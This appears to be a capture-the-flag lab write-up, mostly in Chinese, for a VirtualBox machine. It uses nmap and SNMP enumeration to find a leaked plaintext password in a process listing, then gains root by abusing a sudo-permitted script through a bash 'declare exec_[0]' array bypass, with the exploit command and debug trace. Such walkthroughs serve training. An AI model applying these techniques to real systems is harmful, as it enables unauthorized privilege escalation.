```
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nmap -p- 192.168.56.220
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-18 23:19 -0500
Nmap scan report for 192.168.56.220
Host is up (0.00039s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:0E:6D:2B (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.76 seconds


┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nmap -sU -top-ports 100 192.168.56.220
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-18 23:19 -0500
Stats: 0:00:36 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 51.62% done; ETC: 23:20 (0:00:34 remaining)
Stats: 0:00:37 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 52.62% done; ETC: 23:20 (0:00:33 remaining)
Stats: 0:00:57 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 74.00% done; ETC: 23:20 (0:00:20 remaining)
Stats: 0:01:21 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 99.38% done; ETC: 23:20 (0:00:01 remaining)
Nmap scan report for 192.168.56.220
Host is up (0.0011s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
161/udp open          snmp
MAC Address: 08:00:27:0E:6D:2B (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 92.07 seconds
```

发现开放snmp端口

```
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# snmp-check 192.168.56.220
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)

[+] Try to connect to 192.168.56.220:161 using SNMPv1 and community 'public'

[*] System information:

  Host IP address               : 192.168.56.220
  Hostname                      : 113
  Description                   : Linux 113 4.19.0-27-amd64 #1 SMP Debian
4.19.316-1 (2024-06-25) x86_64
  Contact                       : root
  Location                      : Unknown
  Uptime snmp                   : 00:16:59.01
  Uptime system                 : 00:16:55.45
```

```
  System date                   : 2026-1-18 03:52:48.0

[*] Network information:

  IP forwarding enabled         : no
  Default TTL                   : 64
  TCP segments received         : 3064763
  TCP segments sent             : 3055472
  TCP segments retrans          : 21
  Input datagrams               : 3062999
  Delivered datagrams           : 3062999
  Output datagrams              : 3053576

[*] Network interfaces:

  Interface                     : [ up ] lo
  Id                            : 1
  Mac Address                   : :::::
  Type                          : softwareLoopback
  Speed                         : 10 Mbps
  MTU                           : 65536
  In octets                     : 199764
  Out octets                    : 199764

  Interface                     : [ up ] Intel Corporation 82540EM Gigabit
Ethernet Controller
  Id                            : 2
  Mac Address                   : 08:00:27:0e:6d:2b
  Type                          : ethernet-csmacd
  Speed                         : 1000 Mbps
  MTU                           : 1500
  In octets                     : 472862034
  Out octets                    : 1424579380


[*] Network IP:

  Id                    IP Address            Netmask               Broadcast

  1                     127.0.0.1             255.0.0.0             0

  2                     192.168.56.220        255.255.255.0         1


[*] Routing information:

  Destination           Next hop              Mask                  Metric

  192.168.56.0          0.0.0.0               255.255.255.0         0


[*] TCP connections and listening ports:

  Local address         Local port            Remote address        Remote port
        State
```

```
  0.0.0.0               22                    0.0.0.0               0
        listen

[*] Listening UDP ports:

  Local address         Local port
  0.0.0.0               68
  0.0.0.0               161
......
320                   runnable              rsyslogd
/usr/sbin/rsyslogd    -n -iNONE
  321                   runnable              systemd-logind
/lib/systemd/systemd-logind
  359                   runnable              dhclient
/sbin/dhclient        -4 -v -i -pf /run/dhclient.enp0s3.pid -lf
/var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases
enp0
  369                   runnable              sleep                 service --
user welcome --password mMOq2WWONQiiY8TinSRF --host localhost --port 8080
infinity
```

暴露weicome用户密码。

```
welcome@113:~$ cat user.txt
flag{user-21539141ad1bc8ab9d26420aecb2415b}
welcome@113:~$ sudo -l
Matching Defaults entries for welcome on 113:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on 113:
    (ALL) NOPASSWD: /opt/113.sh
welcome@113:~$ cat /opt/113.sh
#!/bin/bash

sandbox=$(mktemp -d)
cd $sandbox

if [ "$#" -ne 3 ];then
        exit
fi

if [ "$3" != "mazesec" ]
then
        echo "\$3 must be mazesec"
        exit
else
        /bin/cp /usr/bin/mazesec $sandbox
        exec_="$sandbox/mazesec"
fi

if [ "$1" = "exec_" ];then
        exit
fi
```

```
declare -- "$1"="$2"
$exec_
```

数组绕过

知识点 A：变量即数组的第0项

在 Bash 中，普通的标量变量（Scalar Variable）实际上等同于数组的第 0 个元素。

- 当你执行 `A="hello"` 时，Bash 实际上是把 `"hello"` 存到了 `A[0]`。
- 因此，**给 `A[0]` 赋值，就等于给 `A` 赋值。**

知识点 B：字符串对比 vs 变量赋值

这是绕过的关键所在。脚本中有两个完全不同的操作：

1. **字符串对比 (`if` 语句)**：这是纯文本的对比。
    - 字符串 `"exec_"` 和字符串 `"exec_[0]"` 是**不相等**的。它们拼写不同，长度不同。
2. **变量赋值 (`declare` 语句)**：这是 Bash 解释器的内部操作。
    - `declare exec_="..."` 是给变量 `exec_` 赋值。
    - `declare exec_[0]="..."` 也是给变量 `exec_` 赋值（因为第0项就是变量本身）

```
sudo /opt/113.sh exec_[0] /bin/bash mazesec
```

但是，在bash脚本解析中，这行代码直接将内存中 `exec_` 变量的值修改为了 `/bin/bash`

使用调试模式可以很清晰的看到这一点

```
root@113:/tmp/tmp.NyzG4wpbOc# sudo bash -x /opt/113.sh exec_[0] /bin/bash mazesec
++ mktemp -d
+ sandbox=/tmp/tmp.Cykruj89dL
+ cd /tmp/tmp.Cykruj89dL
+ '[' 3 -ne 3 ']'
+ '[' mazesec '!=' mazesec ']'
+ /bin/cp /usr/bin/mazesec /tmp/tmp.Cykruj89dL
+ exec_=/tmp/tmp.Cykruj89dL/mazesec
+ '[' 'exec_[0]' = exec_ ']'
+ declare -- 'exec_[0]=/bin/bash'
+ /bin/bash
```

当脚本执行到时

```
declare -- "$1"="$2"
```

实际上exec【0】已经是bash了

```
declare -- "exec_[0]"="/bin/bash"
```